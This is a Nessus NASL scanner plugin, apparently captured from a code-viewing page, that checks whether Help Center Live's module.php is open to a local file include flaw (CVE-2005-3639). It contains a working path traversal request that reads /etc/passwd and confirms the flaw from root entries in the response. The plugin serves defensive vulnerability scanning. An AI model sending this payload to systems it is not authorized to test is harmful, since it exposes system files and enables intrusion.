📄 hcl_file_include.nasl
字号:
## This script was written by David Maciejak <david dot maciejak at kyxar dot fr># Ref: HACKERS PAL## This script is released under the GNU GPL v2 desc["english"] = "Synopsis :The remote web server contains a PHP script that is affected by alocal file file include vulnerability. Description :The remote host is running Help Center Live, a help desk tool written inPHP. The remote version of Help Center Live fails to sanitize input to the'file' parameter of the 'module.php' script before using it in a PHPinclude_once() function. An attacker can exploit this issue to readfiles and possibly execute arbitrary PHP code on the local host subjectto the privileges of the web server user id. Solution :Unknown at this time.Risk factor :Medium / CVSS Base Score : 6 (AV:R/AC:H/Au:NR/C:P/A:P/I:P/B:N)"; if(description){ script_id(20223); script_cve_id("CVE-2005-3639"); script_bugtraq_id(15404); script_version("$Revision: 38 $"); script_name(english:"Help Center Live module.php local file include flaw"); script_description(english:desc["english"]); script_summary(english:"Checks HCL local file include flaw"); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2005 David Maciejak"); script_family(english:"CGI abuses"); script_require_ports("Services/www", 80); script_exclude_keys("Settings/disable_cgi_scanning"); script_dependencie("http_version.nasl"); exit(0);}#the codeinclude("global_settings.inc");include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);if ( ! get_port_state(port))exit(0);if ( ! can_host_php(port:port) ) exit(0);foreach d (cgi_dirs()){ req = http_get(item:string(d, "/module.php?module=osTicket&file=/../../../../../../../../../../../etc/passwd"), port:port); res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE); if(res == NULL) exit(0); if("(Powered By Help Center Live" >< res && egrep(pattern:"root:.*:0:[01]:", string:res)){ if (report_verbosity > 0) { contents = strstr(res, '<div align="center"><h2>'); if (contents) { contents = contents - strstr(contents, "<td>"); contents = strstr(contents, "</div>"); contents = contents - "</div>"; } else contents = res; report = string( desc["english"], "\n\n", "Plugin output :\n", "\n", contents ); } else report = desc["english"]; security_warning(port:port, data:report); exit(0); }}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -